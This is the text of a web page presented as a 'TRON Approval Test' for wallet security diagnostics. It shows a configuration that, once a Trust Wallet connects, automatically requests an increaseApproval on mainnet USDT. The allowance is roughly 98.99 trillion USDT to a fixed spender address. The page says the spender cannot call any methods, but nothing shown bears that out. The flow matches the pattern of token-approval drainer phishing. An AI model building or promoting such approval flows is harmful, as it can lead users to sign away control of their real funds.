TRON Approval Test
TRON Mainnet · USDT · wallet security UI diagnostics
You confirm or reject in Trust Wallet. This app submits only the approval you sign. The diagnostic spender has no callable methods or token operations. Approval may consume TRX/energy.
Test configuration
- Current origin / domain
Loading origin…- Network
- TRON Mainnet
tron:0x2b6653dc - Token
- USDT
- Token address
TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t- Spender address
TMub3CeZLorLCbHc3QZ7R3aPuqTq19kMfSView contract- Approval mode
increaseApproval(address,uint256)- Allowance increase (raw uint256)
9899171203767677747298991712037676.777472 USDT- Amount source
configured- Existing allowance (raw uint256)
Read after connection—- Expected resulting allowance (snapshot)
Existing allowance plus configured increment—- AUTO_APPROVE_AFTER_CONNECT
true
The wallet must authorize the TRON Mainnet namespace and tron_signTransaction. Unsupported sessions stop with the exact error. Trust Wallet’s current public WalletConnect guide does not confirm TRON support.
Flow result idle
- Connected wallet
—- WalletConnect session state
- none
- Latest flow event
- —
- Connect started
—- Session established
—- USDT balance read
—- USDT allowance read
—- Approval requested
—- Session → signing SDK invocation
—- Session → relay publication
—- txID (signed)
—- Submission state
- not submitted
Delay includes balance/allowance reads when selected and unsigned transaction construction against mainnet RPC. Expected allowance is based on these reads; changes before execution can affect it. “Approved” means signed; submission is reported separately. A wallet’s red warning can only be observed in Trust Wallet.
Wallet / request error
null
Decoded calldata
null
Raw unsigned transaction JSON
null
Signed transaction JSON
null
Diagnostic JSON
{
"origin": "",
"token": "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t",
"spender": "TMub3CeZLorLCbHc3QZ7R3aPuqTq19kMfS",
"approvalMethod": "increaseApproval",
"amount": "98991712037676777472",
"approvalAmountMode": "configured",
"autoApproveAfterConnect": true
}Timestamped event log
[]